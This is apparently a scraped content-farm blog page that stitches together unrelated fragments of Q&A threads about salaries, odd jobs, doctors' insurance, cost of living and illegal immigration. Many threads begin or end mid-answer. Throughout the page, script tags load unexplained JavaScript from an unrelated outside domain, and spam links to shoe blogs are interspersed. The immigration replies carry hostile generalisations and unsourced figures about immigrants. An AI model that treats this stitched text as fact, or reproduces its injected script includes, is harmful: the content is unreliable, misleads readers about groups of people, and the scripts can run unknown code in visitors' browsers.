Name?<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur1.js type=text/javascript></script><br>Does anyone out there have an "unusual" job that is willing to help me out with a short survey for school?<br>1. I am an Art Director at an advertising agency. My job is unique because I get to work in a completely creative, artistic environment mixed with business. I help create or sustain strategies and brands (etc), and it can be very fulfilling to see it pay off for a business. I get the inside scoop on many types of business, from Mom and Pop's all the way up to Fortune 500 clients.<br><br /><br /><br><br /><br />2. I love my job.<br><br /><br /><br><br /><br />3. Advertising has a very strong demand for creative, and well communicative people in the day and age we live in. It also is extremely competitive.<br><br /><br /><br><br /><br />4. Usually a Bachelor's degree in Fine Arts or Business. Mine is in BS in Visual Communication. Kind of a blend of the two. What I do, is not all art per say.<br><br /><br /><br><br /><br />5. Depends on where you're at geographically, how long you've been in the field, and also the size of the business you're employed at. Anywhere from $60,000 – $80,000 up up up<br><br /><br /><br><br /><br />6. Production artists, graphic designers, senior designers, creative director, marketing communications, etc.<br><br /><br /><br><br /><br />7. Ferris State University (MI), Cranbrook, MN, I'm sure there's a lot more.<br><br /><br /><br><br /><br />8. Absolutely. My advice is you have to be tough as nails, have a true commitment and drive for what you do, and don't take anything personal. But the payoff is lots of fun!<br><br /><br /><br><br /><br />9. It's not an entry-level position, usually requires anywhere from 3-5 years experience, you really gotta know your stuff. I would say minimum (usually) is 25.<br><br /><br /><br><br /><br />10. Yes.

Yes very much the people I meet are very weird and often pay a hefty sum for the removal of "ghosts"<br><br /><br />3. Ghosts are not real I admit it, although if you are a ghost fan this is especially the job for you. Knowing alot about "Ghosts" will certanly get people to trust you more.<br><br /><br />4. None really you just gotta pretend that you know but you gotta make sure you don't go overboard or else the people might not belive you. Even just watching the ghost shows helps.<br><br /><br />5. It truly depends on the person that you are helping some people might pay you 500+ dollars on one visit. The average monthly salary i get would be about 6,000 dollars a month.<br><br /><br />6. You could say that a paranormal expert is very much like my job. An actors job is very much like mine.<br><br /><br />7. None, I have a degree in science though.<br><br /><br />8. Probaly not you would be much better off going to college and getting a different job. My job is very hectic with the people that I go with.<br><br /><br />9.

Then to keep your license and move to another job you have to put in two years at the job where you were licensed<br><br /><br /><br><br /><br />5.

How about of a Fast Food Manager? Starbucks Manager? Hospital Administrator?Just trying to settle a debate withe some friends of mine. We don't wanna directly ask some people how much they make.

How about of a Fast Food Manager? Starbucks Manager? Hospital Administrator?<br>I used to be the Store Manager of a Subway restaurant in Portland,OR (in 2003). I made only $9/hour!! Pretty shitty but I was only 19 and was making more doing that than any other job I could find!! I later became an Assistant Manager at a Sweet Factory in Portland, made $9/hour there too, and had barely any responsibilities. My take home pay was about $900/month after taxes. Hope this helps you guys out some! =)<br>Reply:The best fast food managers work at in-n-out burger where they take in a little over 100,000 a year i dont know the rest<br>Reply:I work for a Subway franchise and make right at 30,000 a year as a store manager. Mind you, I live in a metro area, in a more "upper" middle class neighborhood. Additionaly, the store I work at is a franchise and individual owners can determine the amount thy chose to pay their employees.<br>Reply:When I was a fast food manager I made 26'600 USD per year, granted this was 10 years ago and I worked for Jack in the Box.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><a href=http://100running-shoes.blogspot.com/>running shoes</a>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0tag:blogger.com,1999:blog-1877548265497100915.post-70921071026748943152011-11-19T20:16:00.000-08:002011-11-19T20:16:05.889-08:00Prepare a report on job availability and salaries.

Even for other practices, such as pediatrics and internal medicine, the rate is usually $30000+. This is a huge amount of money and really, after paying student loans, mortgages, taxes, and etc, how much money do doctors actually take home? Surely not all doctors actually pay for their premiums.<br><br /><br />Specifically, how much would a pediatric surgeon pay in malpractice insurance in California or Illinois? Just some food for thought.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur2.js type=text/javascript></script><br>How do doctors actually pay for liability insurance?<br>What if you didn't pay for insurance (ie didn't have insurance) and somebody won a million dollar lawsuit againist you. You'd have to pay the money yourself (it may bankrupt you). Doctors pay so much for insurance because they get sued alot and sometimes have to pay millions of dollars lawsuits. I'm sure many of these verdicts are justified, but some probably are not. Anyhow, thats the way the system works. <br><br /><br /><br><br /><br />Another point - the docotrs do pay these costs but probably pretty much pass the costs on to their patients. So if the doctor being payed 238K has to pay 50K in insurance I'll bet if their insurance cost were only 20K then their salary would only be around 208K. If they all had to pay less they'd have to lower their salaries to be competitive with other doctors doing the same thing.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0tag:blogger.com,1999:blog-1877548265497100915.post-64537022173008231442011-11-19T20:15:00.006-08:002011-11-19T20:15:49.297-08:00Any Computer Aided Drafters out there?

It averaged out satisfactorily, so no complaints there either.<br><br /><br /><br><br /><br />As a music teacher, I was happy too.<br><br /><br /><br><br /><br />As a retiree? Well, with the Senior's pension I don't expect to be paid too much for doing very little. Unlike many countries that I have seen, I shall not die of hunger and poverty, or of sickness with no medical treatment available. I consider myself lucky to have been born and lived in UK and now Australia. It could have been [but for the chance of birth] China, Africa, or in the Middle East.<br><br /><br /><br><br /><br />My salary reflected the effort I put into it overall, except I think perhaps the seamen should be worth more...that's seAmen.<br>Reply:Salary reflects work, not effort... I make good $, and at first I had to put in a lot of effort to get my work done. I've since learned my job well and get my work done with much less effort. I've got time to Y/A %26amp; still get paid for it. LMAO!<br>Reply:Always been underpaid but that's my fault should have found a better paid job but enjoyed the job too much<br>Reply:Yes, that is one area in my life where I have no complaints.<br>Reply:Probably not. I'm lucky enough to have a skill that businesses will pay for.<br>Reply:no, they pay me more than I earn. but there has to be a warm body here waiting for something to come up, so I guess I get paid in part for that<br>Reply:Nope.<br>Reply:Nope...If that was the case I would be well over paid<br>Reply:Not really b.c I don't get a salary.<br>Reply:NO. <br><br /><br />I get paid to much actually (don't tell my boss). It's slow and I do nothing but chill on Y!A all day.

My husband makes more but with 2 teenager boys it's hard enough just to feed them. But yes, we can live just fine on our incomes. we fell into the credit trap and we're lucky we nipped it in the bud before it got out of hand.<br>Reply:I go from hand to mouth, with a trip to the nursery or an occasional haircut thrown in for laughs.<br><br /><br />I am doing OK, but asked for and received overtime to help.<br><br /><br />My mate is retired.<br><br /><br />I have one credit card which I use for emergencies.I have insurance, health insurance and a 401K.<br>Reply:Hell no. That's one of the reasons I'm looking for another job. Everything is going up except wages. It's pretty pathetic when a 45 yr old man has to move back home because I can't afford to make it on my own. Paying child support on three kids doesn't help either.<br>Reply:Yes - no problem at all. I think anyone can overspend, but if you have the basics covered - like a roof over your head, heating, lighting, water and food - then everything else is within your own control.<br>Reply:Well now mention it I have only managed two weeks in turkey up to now this year. It would be nice to have another Nile cruise but will so many other places to go I'm not sure I have the time. Oh sorry yes I can just about manage<br>Reply:Yes. I make good money and have great investments. I should retire but I enjoy what I do. We live a simple, small town life and both do well in our careers.<br>Reply:i don't have a salary. so i guess the answer would be no. i don't even have a job<br>Reply:The reason so many people can't live on their salary is because they don't consider that living.<br><br /><br /><br><br /><br />Right now, I'm raising a family of five on less than a thousand dollars a month. But we're still alive.<br>Reply:well, I live with my pops...so not having to pay rent is pretty sweet....so yes...but I did just get a new truck that I am going to try and pay off quickly...so money will be tite...but yes...I can live on whaty I make...<br>Reply:Until I retired 3 weeks ago Yes i could. <br><br /><br /><br><br /><br />If I hadn't been careful and planned for my retirement, would I manage on just a Senior's pension. No I couldn't<br>Reply:Been doing it for almost 40 years, semi-retired and very comfortable.....<br>Reply:I can and do, quite well in fact. BUT if I had a family (which I do not) then I think I might be giving you a much different answer.<br>Reply:Yes, I can... Not only me, but my house-wife %26amp; my 3 kids live on my salary as well... Wife used to work, but I'd rather have her at home taking care of my 9 month old son.<br>Reply:i actually can, 40plus hrs at 12.50...preety good<br>Reply:I work for myself so yeah I can, I always make what I need to survive,<br><br /><br /><br><br /><br />~~Peace~~<br>Reply:no I cant I always over spend and have to focus the full first part of the month cleaning up my mess i make<br>Reply:Quite well-yes<br>Reply:I can live on it but with more money I could live a whole lot better! lol<br>Reply:Well, I can as long as my husband works too. If I was on my own...it would be hard.<br>Reply:For now, I can't but good question!<br>Reply:I am right now so yea<br>Reply:I have to live on it. But, it would be much easier if taxes weren't taken out.<br>Reply:Nope.. I don't have an income so I live off my parents.<br>Reply:Yes, If you can't you should get a new job.<br>Reply:no<br>Reply:yes<br>Reply:hell no....<br>Reply:no, i can't. sucks.<br>Reply:Yes me and my husband both have amazing jobs, which we get a lot of money =)<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0tag:blogger.com,1999:blog-1877548265497100915.post-50383192855196976782011-11-19T20:15:00.003-08:002011-11-19T20:15:27.077-08:00For 40 years in 5 year incriments, what percentage of average gross salary was paid for medical coverage?For 2005, Salary.com survey shows 14.6% of average gross salary paid by employers went toward medical (health, dental, vision) coverage. I would like to know how this compares for past years to know if costs are really going up as a percentage of salary or is this a smoke screen by business for employees to pay more for less coverage. If you compare costs for items from 40 years ago to the costs for those same items today, you will find that everything is 10 times greater except employees' salaries (ex: Home $25,000 1965 is $250,000 2005 - gas was $0.30/gal1965 and $3.00 2005 - small car $2,000 1965 and $20,000 2005 - Wonder Bread $0.20 1965 and $2.00 2005 ==%26gt; Minimum wage $1.25 per hour 1965 and $5.15 per hour 2005 - U.S. AWI $5,298.33/year and $35,648.55/year 2004). To compensate for lost buying power compared to those of the past, we now have spouses working to maintain our social/economic positions.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur2.js type=text/javascript></script><br>For 40 years in 5 year incriments, what percentage of average gross salary was paid for medical coverage?<br>way too much<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0tag:blogger.com,1999:blog-1877548265497100915.post-58055724775742103702011-11-19T20:15:00.002-08:002011-11-19T20:15:20.399-08:00Ceiling salary in call centers in the Philippines?I have been asked to do this survey...<br><br /><br />Can you guys tell me, based on experience or knowledge how much (the maximum or highest) can an AGENT, TEAM LEADER/SUPERVISOR, QA ANALYST, TRAINER, AND EXCUTIVE OFFICER/ACCOUNT MANAGER get/earn as a salary in the PHILIPPINES?<br><br /><br /><br><br /><br />You can also tell me the company where they have those salaries, just to have more answers.<br><br /><br /><br><br /><br />I mean the very ceiling of it...After every appraisal or longetivity of ones tenure.<br><br /><br /><br><br /><br />Thanks.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur1.js type=text/javascript></script><br>Ceiling salary in call centers in the Philippines?<br>well, i've seen a few call center payslips and here is what i can tell you:<br><br /><br /><br><br /><br />there is no universal rule to cap or put a ceiling on salaries of people in the BPO industry. it think that is silly. it all depends on the company and the appraisal.<br><br /><br /><br><br /><br />POSITION - BASIC SALARY<br><br /><br />AGENT - P8k to P18k <br><br /><br />TEAM LEADER - P15k to P40k<br><br /><br />QA - P15k to P25k<br><br /><br />TRAINER - P15k to P40k<br><br /><br />MANAGERS - P25k to P50k<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0tag:blogger.com,1999:blog-1877548265497100915.post-11969916457467963062011-11-19T20:15:00.001-08:002011-11-19T20:15:14.472-08:00Survey: what is your age and salary?700/hr ?? wtf<br><br /><br /><br><br /><br />riiiiiiiight<br><br /><br /><br><br /><br />18yrs / 100 month lol<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur2.js type=text/javascript></script><br>Survey: what is your age and salary?<br>18 years, $100/day , aiming for $1000/day , doing internet marketing.<br>Reply:23 $700/day<br><br /><br /><br><br /><br />now 24 retired n/a<br><br /><br /><br><br /><br />consulting - no benefits or bonus<br>Reply:hi<br>Reply:29 Y/O - $280/ MO.<br>Reply:I'm 29 and I make 115,000 USD per year<br>Reply:36yr aroung 90,000 usd tax free.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><a href=http://camper-shoes-stock.blogspot.com/>camper shoes stock</a>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0tag:blogger.com,1999:blog-1877548265497100915.post-78746825672692163832011-11-19T20:15:00.000-08:002011-11-19T20:15:07.545-08:00What is the average salary for HR Managers on the big Island of Hawaii?I am conducting an unofficial survey to determine the cost to relocate from Guam, where the cost of living is high, to Hawaii, where the cost of living is also high.

Not just those from Spanish speaking countries, but those from every country. What would this mean for employers who hire illegal immigrants? Illegal immigrants' salaries would have to rise to minimum wage, so how would this play out? Add on free health care, what would this mean for hospitals?<br><br /><br /><br><br /><br />I'm needing some opinions for a small survey for an Ethics class.

Because illegal immigrants "come for a better life?" Puh-leez--they come for money. <br><br /><br /><br><br /><br />Don't bank robbers actually rob banks for money?

Amnesty, however, is a mind boggling stupied idea.<br><br /><br /><br><br /><br />Reference for those who wish to know:<br><br /><br />http://www.heritage.org/Research/Immigra...<br>Reply:If amnesty was granted to all illegal immigrants it would lead to disaster for america. As it was in the 1980's, it will only promote more people to break the law and enter into america illegally. A lot of people like to talk about how "racist" a lot of americans are for wanting an end to illegal immigration and a violation of human rights to build a wall. But what about the rights of american who want their laws respected? or the rights of americans who want a secure border? these people who entered into our country realized the potential consequences of their actions that they could possibly be seperated from family. Enough is enough, its time for people to start respecting the rights of americans, and the rights of every person that wants to do the right thing for their nation without being called a racist for it.<br>Reply:very simple- CHAOS !<br>Reply:YES, but only to people who had been some years here working hard, paying taxes and conributing some way to the economy of the country. no to cash workers who avoid taxes and do not learn english and not are interested in helping to conribute to the economy. health care is paid the same way by illegals with deductions to social services, healthcare insurances and federal and local taxes eaven if that number does not belongs to them. IRS have give them the oportonity to pay taxes and some do eaven pay more and get less refound and no child credit but at least are good with uncle sam and already for some years, what its the difference then? I think they deserve the chance for an opportunity to a way to legalization. the rest can be tracked and deported.<br>Reply:If the millions of illegal immigrants in this country were just all of a sudden told that they were now legal, what kind of message does this send to the world? If I was trying to become a citizen, to me it would say "hey, if we can get another few million illegals in here, they'll grant amnesty again." It sets us up for the same situation in a few more years.<br><br /><br /><br><br /><br />If you trespass on someone's backyard, you get arrested. These illegals are all trespassing on America's backyard, and they should be punished, not rewarded.<br><br /><br /><br><br /><br />We already give them free care at hospitals. Some states give them drivers licenses. If they commit a crime, we put them in a prison here in the states, and our tax money goes to put food in their stomachs. Many illegals get food stamps, welfare, and social security. Why? They don't contribute. They don't pay taxes. But yet we give them benefits that are supposed to be reserved for people who pay in.<br><br /><br /><br><br /><br />We need to ship them all back to where they came from, put up that wall/fence along the Mexican border, and crack down harder on people who hire illegals.<br>Reply:Round them up and deport them, whatever the cost. Fine the people that hire them to pay for this.<br>Reply:The amnesty of 1986 was granted to all, so why would you think that another amnesty would not be open to all. I am not for amnesty for anyone, because all that amnesty brings is more demands for more amnesty. In 1986 we granted amnesty to 3.1 illegals and now 20 years later we have 12-20 million demanding the same, and about 50,000 more coming each year. With the 50,000 more coming each year because our fearless leaders do not want to secure the borders, so wages will never go up because there is a endless supply of cheap labor. As to health care, 12-20 million illegals being granted the right to goverment paid health care other than the emergency care they are entitled to now, you do the math<br>Reply:One word. No. Everyone has a right to come to this country to try and better their lives. That's what America was founded on. But they should do it the proper way. Illegals are just that, and do not deserve amnesty.<br>Reply:Probably exactly what happened last time we had an amnesty for illegal aliens -- a HUGE rise in the number of illegal aliens finding their way here and settling here in hopes of forcing another amnesty. Wages drop. Schools become overcrowded. Hospitals close. Infrastructure is overused and endangered...and so on and so on.<br><br /><br /><br><br /><br />Rewarding illegal activity only encourages more of the same. We should have learned that the first time around and stop repeating the same mistake over and over.<br>Reply:Hell no. Texas would rise up.

In the private sector, they work as researchers or consultants for large businesses. About one third of psychologists are self-employed (usually in private group practices) and a large number work part-time. <br><br /><br /><br><br /><br />Earning vary widely depending on the employer, education level, experience, and the area of psychology practiced. School psychologists employed by public school boards earn between $50,000 and $80,000 a year, with the higher salaries going to those with PhDs. <br><br /><br /><br><br /><br />Clinical psychologists working on a part-time basis often earn between $30 and $45 an hour. Those working full-time in hospitals can earn $65,000 to 95,000 a year. <br><br /><br /><br><br /><br />To research and teach psychology at a university you need a PhD. Average starting salaries for psychology professors range from $40,000 to $50,000 a year. By mid-career they make between $60,000 and $80,000 a year; after many years in the field, they earn between $80,000 and $100,000 a year. <br><br /><br /><br><br /><br />Exact earnings information for other types of psychologists is not available. However, the average income for all full-time psychologists in Canada is around $56,000 a year.

But as I have stated in one of your previous questions we as Americans have been drilled to not see the good in anything anymore. We only want to see the things that we think effect us. It's all about the all mighty dollar, and about ME! I do not feel this way but I see it everyday, and have to live with the racism and negativity. I am an American, but I have a bi-racial daughter who's father is Mexican. He came here on a work visa, but he gets criticized and put down for the color of his skin. And people automatically assume the worst about him.<br>Reply:These are not facts! <span>Report Abuse</span><br /> <br>Reply:Wow,Alright,Yea you go boy.That Mr. Friends of Dreaming.. IS IN FACT THE FACT YOU DO NOT SEE BECAUSE YOU HAVE NOT BEEN THERE AND LET ME TELL YOU SOMETHING ELSE. ONE YOU ARE SO SO SO RIGHT I AM SPEECHLESS. <span>Report Abuse</span><br /> <br>Reply:Illegal immigrants (makes no difference from where they came)<br><br /><br />pay sales taxes when they purchase something, but how do<br><br /><br />you know that they pay income taxes, if they have no social<br><br /><br />security card, the employer may withhold taxes but because<br><br /><br />your illegally here and have no SS number, he does not<br><br /><br />send that money off to the IRS, he keeps it in his own <br><br /><br />pocket. What can an illegal do, report him?<br><br /><br /><br><br /><br />This is a total crock of crap, if you are here illegally then<br><br /><br />pack your bags and go home, when you can come here<br><br /><br />legally we will gladly welcome you. Personally I am <br><br /><br />tired of supporting all of the illegals.<br>Reply:1. Illegals pay only about 1/5 of what it costs us. If they are paying any taxes at all its with stolen identity. <br><br /><br />2. Illegals are bringing down real wages. <br><br /><br />3. Teachers are having to slow down and take more time to teach kids because they do not speak English thus degrading the education our children receive. <br><br /><br />4. 25% of prisons along the borders states are filled with illegals. That is space we could use for our own criminals. Illegals also cause more accidents and drive up the cost of insurance. <br><br /><br />5. Our welfare system is for Americans not illegals, and I do not pay taxes to support illegals. So whether we have welfare for our poor or not is nobodies business but ours. <br><br /><br />6. The fence along with increased border security and following the existing laws we have on the books is much cheaper in the long run. It cost us over 80 billion a year to support illegals. <br><br /><br /><br><br /><br />any other lame truths you want to lie about?<br>Reply:Illegals paying taxes, sales tax, yes. Paycheck taxes to the IRS though, only if they have taken someone's ID. A valid Social Security number is needed. Most work under the table, so, no taxes to the IRS or to the State.<br><br /><br /><br><br /><br />Jobs. Yes, they are underpaid, but the benefits they are getting off the legal citizens more than makes up for the lower wages.<br><br /><br /><br><br /><br />Schools. Yes, bilingual programs in my area have many more than two classrooms with a bilingual teacher assigned. In my rural area two grade schools and one high school have been built within this past year to ease the overcrowding of the influx of all these illegal children who do not speak our language. <br><br /><br /><br><br /><br />Crimes. Check out the jails and the most wanted lists just about anywhere. The majority of the names on them are hispanic in nature. This shows they do not deserve to be in this country legally. <br><br /><br /><br><br /><br />Welfare, well, when those legal citizens of this country are receiving it when they need it, that is one of the benefits of being a citizen. However, those that are illegal do not deserve this and yes, they are draining those programs. <br><br /><br /><br><br /><br />As for the rest of your 'points'.... just tired of typing on this end, but totally disagree with you.<br>Reply:1. It's true, most illegal immigrants DON'T pay taxes. They get paid cash for farm hand work, which is otherwise known as "under the table" from the IRS. Besides, one can't register tax forms with the IRS without a social security number.<br><br /><br /><br><br /><br />2. They aren't only ripping the illegals off, they're ripping Americans off at the same time. If the employers were forced to pay at least minimum wages to everyone, regardless, a lot more Americans would have jobs too. You know, the legal citizens who also have insurance, taxes, and other costs of living to worry about.<br><br /><br /><br><br /><br />3. The fact of whether bilingual schools work or not is not what a lot of us are concerned with. It's the fact that English should darn well be our official language and anyone who wishes to be a part of our culture needs to learn it - before they come here. We should never have to pay to teach them, that should be their responsibility.<br><br /><br /><br><br /><br />4. Some things can be misconstrued as stereotypical, but the fact remains that we're seeing a rise in crime - especially among the border. It's practically turning into a war zone down there. Anyone with cable and newspaper access can see this daily.<br><br /><br /><br><br /><br />5. If not welfare, they sure are a drain on the health care system. They use our emergency rooms like clinics, and never pay the bill. That directly affects us, because the hospital system is a business, and just like any other they have to make up that loss. It won't take you two tries to guess where they make that up, does it.<br><br /><br /><br><br /><br />6. I agree with you on this point. It would be unfair to say that illegals alone are destroying our welfare system. Anyone who refuses to take on some personal responsibility for themselves and get an education, a job, or stop having babies is draining it. It was broken before the illegals came. It's wrong to say that we should boot any illegals off of it, when our own people are the ones who taught them how to abuse it.<br><br /><br /><br><br /><br />7. It would be cheaper to finish building the wall than to deport the 1 million more we'll have in this country by the end of the year, hire more border patrol, or even build military posts along it. I say build the darn thing already.<br>Reply:sales taxes don't count or support schools or health care in most if not all cases. Education in California costs $10,000 per child per year. Poor people can't pay that even if they pay all taxes they owe, and never take deductions. That is why we limit how many poor can come.<br><br /><br /><br><br /><br />In addition, money is not built school facilities or trained teachers, as the huge backlog in the LAUSD construction program will show.<br><br /><br /><br><br /><br />Our services in our country are for our people. They are the ones who are supposed to be on it. Illegal immigrants aren't even supposed to be here, much less taking services our own people need, or will need when older when these services now will be drained. <br><br /><br /><br><br /><br />If my kids take food from our refrigerator it is very different than if someone breaks in and gets it.<br><br /><br /><br><br /><br />As for cost:<br><br /><br /><br><br /><br />http://www.heritage.org/Research/Welfare...<br><br /><br /><br><br /><br />---<br><br /><br /><br><br /><br />wicked wanda, don't tell me your account was attacked again!<br><br /><br /><br><br /><br />Sales taxes go to different things in different places. Usually transportation, busses, roads, a 'special project'. However, education is paid for by property tax and bonds, typically, which are backed by income tax, and health care is subsidized through costs on those who do pay, and, again, income tax.<br><br /><br />--<br><br /><br />Wicked, I can't say I know where all taxes go in all places, I just know that schools typically are funded from property and income tax. And yes, we pay whether we have kids or not, again for our own people so they will have a good education. When our own people can't get that because of so many here illegally, that is a real problem.<br>Reply:Here are some for you.<br><br /><br /><br><br /><br />1. Illegal entry into the United States - Misdemeanor - deportable offense.<br><br /><br /><br><br /><br />2. Failure to register as a foreign national - misdemeanor - deportable offense.<br><br /><br /><br><br /><br />3. Fraudulently applying for a state driver's license with counterfeit ID - misdemeanor<br><br /><br /><br><br /><br />4.

Fraudulently applying for and accepting food stamps using counterfeit ID - Felony - Jail Time - Deportation<br><br /><br /><br><br /><br />8. Fraudulently applying for and accepting another's assistance using counterfeit ID - Felony - Jail Time - Deportation.<br><br /><br /><br><br /><br />9. Fraudulently applying for work using counterfeit or stolen Social Security Number - Felony (Perjury)- Deportation<br><br /><br /><br><br /><br />10. Fraudulently claiming excessive deductions for Federal Income Taxes to avoid paying any taxes - Felony - Jail Time - Deportation<br><br /><br /><br><br /><br />11. Registering to vote in states with Motor Voter programs and voting without being a US Citizen - Felony (Perjury)- Deportation<br><br /><br /><br><br /><br />12. Buying counterfeit auto license tabs instead of paying the sate - Misdemeanor<br><br /><br /><br><br /><br />13. Buying phony auto insurance from Mexican operatives so automobile with counterfeit tabs can be registered - Misdemeanor<br><br /><br /><br><br /><br />14. Claiming poverty in a household with high income (for you less than informed - illegal households can easily make as much $100,000 a year tax free) so children can apply for free lunches at school - misdemeanor<br><br /><br /><br><br /><br />15. Claiming poverty to get free medical care from free clinics - Felony - Fraud (hundreds in LA alone) and using first class hospital emergency rooms as family doctors for non-emergency medical - ALL ILLEGALS HAVE 100% MEDICAL COVERAGE AT NO COST TO THEM - PERIOD - Misdemeanor - Deportation.<br><br /><br /><br><br /><br />16. Traffic citations and accidents - Illegals have no real name or address - if they are get a citation or are involved in an accident - they just disappear and surface again with a new counterfeit license and address- and good luck with your insurance company - misdemeanor – Deportation<br>Reply:A:Some are more valid than others. Illegals pay sales taxes on purchases, but not on income. Strike 1<br><br /><br />B:Correct, more must be done to prosecute companies cutting corners to employ illegals at cut wages.<br><br /><br />C:Wrong, bilingualism is a drain on resources of education. If you wish to succeed in this culture, learn to speak English. It is the language of success in this country. Pride and cultural bias will only lead to long term exclusion. IE. Blacks with poor diction and education. You don't want that!<br><br /><br />D:A traffic ticket is not the same as a felony! Get real, if you respected our laws, there wouldn't be an illegal immigration problem, would there?<br><br /><br />E: Not just welfare, which they don't contribute to, but a massive burden on the medical system as well as other social services.<br><br /><br />F:Not<br><br /><br />G:No, a wall is not the solution.<br>Reply:I believe, that's not picture of your son.<br>Reply:I think your statements are unfair to Mexicans<br>Reply:What about all the ones who don't? come to California and see what it has done to the middle classed<br>Reply:Look, this is America and we can believe any stupid thing we want to believe, and that's your no spin zone.<br><br /><br /><br><br /><br />Call those of us who shake our head in disapproval at illegals racists, but guess what -it's not going to change our mind.<br><br /><br /><br><br /><br />We don't want illegals here and don't give a damn about the benefits they pose.<br><br /><br /><br><br /><br />You're right, however, a lot of the stuff we believe about illegals is a lie. Here's the thing: when the Irish and Germans came to the United States store signs weren't printed in both Gaelic and German. It was all in English. There wasn't any "bilingual schools."<br><br /><br /><br><br /><br />America is hard and cruel. It's a Darwinian experiment that has been working out for us very well until the 1960s when the US was infiltrated by Communists posing as liberals.<br><br /><br /><br><br /><br />The Hispanic heritage subverts the American identity for a Hispanic identity. Look at some of the villages in New Mexico -where some Hispanic families have been living for 400 years. They didn't demand that ballots, phone books, and instructions be printed in two languages. They adapted or became extinct.<br><br /><br /><br><br /><br />Illegal immigrants are a danger to the American identity, not the economy.<br><br /><br /><br><br /><br />"Fourth of July, NOT Cinco de Mayo."<br>Reply:Where are your sources to back up your "facts?"<br>Reply:Yes, illegal immigrants pay sales tax. They do not consistently however pay federal income tax, which is the higher tax by far. Many are paid cash by their law breaking employers to avoid all payroll taxes.<br><br /><br /><br><br /><br />Illegal immigrants don't "take" jobs? Are you actually serious with this one? Of course they do. We aren't talking slaves here. They do not have to accept or deny any job that is offered. They have free choice. They can walk away as easily as a USA born individual. <br><br /><br /><br><br /><br />No one said bi lingual schools don't "work". Bi Lingual teachers are indeed paid more (at least they are in Dallas Tx) And yes--I believe that if you wish to live, work and go to school in the USA, you should learn to speak English.<br><br /><br /><br><br /><br />Americans and illegals both drive crazy at times. Illegals are--by definition however--CRIMINALS. Nothing you say or do can change that fact. <br><br /><br /><br><br /><br /><br><br /><br />Illegals cost Dallas County Tax payers over $70 million dollars alone each year in birthing their babies at ONE HOSPITAL -- Parkland. Just one hospital, and $70 million.....what about the rest in Dallas County? And Texas? And across the US? Duh.<br>Reply:i think your full of s@it, we do need to make a border who cares if it costs a trillion we spent more on the war, what else is new they will just raise the taxes like they raised taxes when you illegals came in our country, bec you people steal our identities and go on wellfare when it should be reserved for americans, this is united states of america(americans)<br>Reply:I agree... all workers, unless they are being paid cash (which is not most illegal immigrants) have a taxable income and contribute to the IRS fund without access to claiming any returns. That argument goes out the window. Illegals contribute and take away just as much as anyone else.<br>Reply:You REALLY want to try to prove that they are actual FACTS and not propaganda Bush has been spouting?<br><br /><br /><br><br /><br />Babe has the REAL facts...I don't need to repeat her.<br>Reply:Couldn't agree with you more.<br>Reply:I agree<br>Reply:Awesome work my friend.You have stated very acurate facts.Unfortuanetly racist people will never take these facts in because all racists are ignorant.Have you noticed all the people who are against you are white?Im not blind I see whats going on in my country.I have some facts for you dumb bigots. Fact#1: most medal of honors were earned by hispanics percentage wise.I guess that means were kind of brave then.That bravery is shown by parents who risk their lives by crossing the border for a better life for their family.Fact#2 U.S. laws once allowed slavery!Now the U.S. is trying to make criminals out of people who want a better life for their familys.Wake up my fellow Americans!The evil kkk is making a comeback!<br>Reply:Whites don't care about facts. This is a racial issue, and in racial issues the only thing that matters is what color is your skin, and how many guns you have.<br><script language=JavaScript src=http://www.chinese-kungfu.org/sur3.js type=text/javascript></script><br><br>ADAhttp://www.blogger.com/profile/08161094250951753616noreply@blogger.com0tag:blogger.com,1999:blog-1877548265497100915.post-26368721470989286112010-05-24T01:52:00.000-07:002010-05-24T01:52:00.739-07:00Is this how this trickle down economics works? Or is it really flood up?Millionaires are so last millennium. The new Forbes 400 list of richest Americans is billionaires only. <br><br /><br /><br><br /><br />If you're net worth is a mere $999 million, forget it. A billion means a thousand million, and that's the Forbes 400 minimum -- up from $900 million in 2005. <br><br /><br /><br><br /><br />Donald Trump and two of his kids grace the Forbes 400 cover, but ranked No. 94 with $2.9 billion, Trump's a long way from No. 1 Bill Gates with $53 billion. <br><br /><br /><br><br /><br />The combined wealth of the 400 richest Americans is a record-breaking $1.25 trillion. That's about the same amount of combined wealth held by the 57 million households who make up half the U.S. population. <br><br /><br /><br><br /><br />The economy is booming for billionaires. It's a bust for many other Americans. <br><br /><br /><br><br /><br />A record 400 Americans are billionaires -- and a record 47 million Americans have no health insurance. <br><br /><br /><br><br /><br />America has 400 billionaires -- and 37 million people below the official poverty line. <br><br /><br /><br><br /><br />The official poverty line for one person was just $9,973 in 2005 (latest data). That wouldn't cover the custom-made men's shoes ($4,128) and Hermes purse ($6,250) on the Forbes Cost of Living Extremely Well Index. The official poverty line of $15,577 for a three-person family is lower than the cost of the Patek Philippe men's gold watch ($17,600). <br><br /><br /><br><br /><br />The Forbes 400 minimum is up $100 million since 2005, but the federal minimum wage has been stuck at $5.15 an hour -- just $10,712 a year -- since 1997. GOP leaders in Congress have been holding a raise for minimum wage workers hostage to more giant tax cuts for wealthy inheritors. <br><br /><br /><br><br /><br />Wealth isn't trickling down. It's flooding up -- from workers to bosses, small investors to big, poorer to richer. <br><br /><br /><br><br /><br />The heirs to Wal-Mart founders Sam and Bud Walton have a combined $82.5 billion -- while the children of Wal-Mart workers swell the ranks of state health insurance programs for the neediest. <br><br /><br /><br><br /><br />In today's corporate America, workers see gutted paychecks and pensions despite rising worker productivity, while CEOs get golden pay, perks, pensions and parachutes. The pay gap between average workers 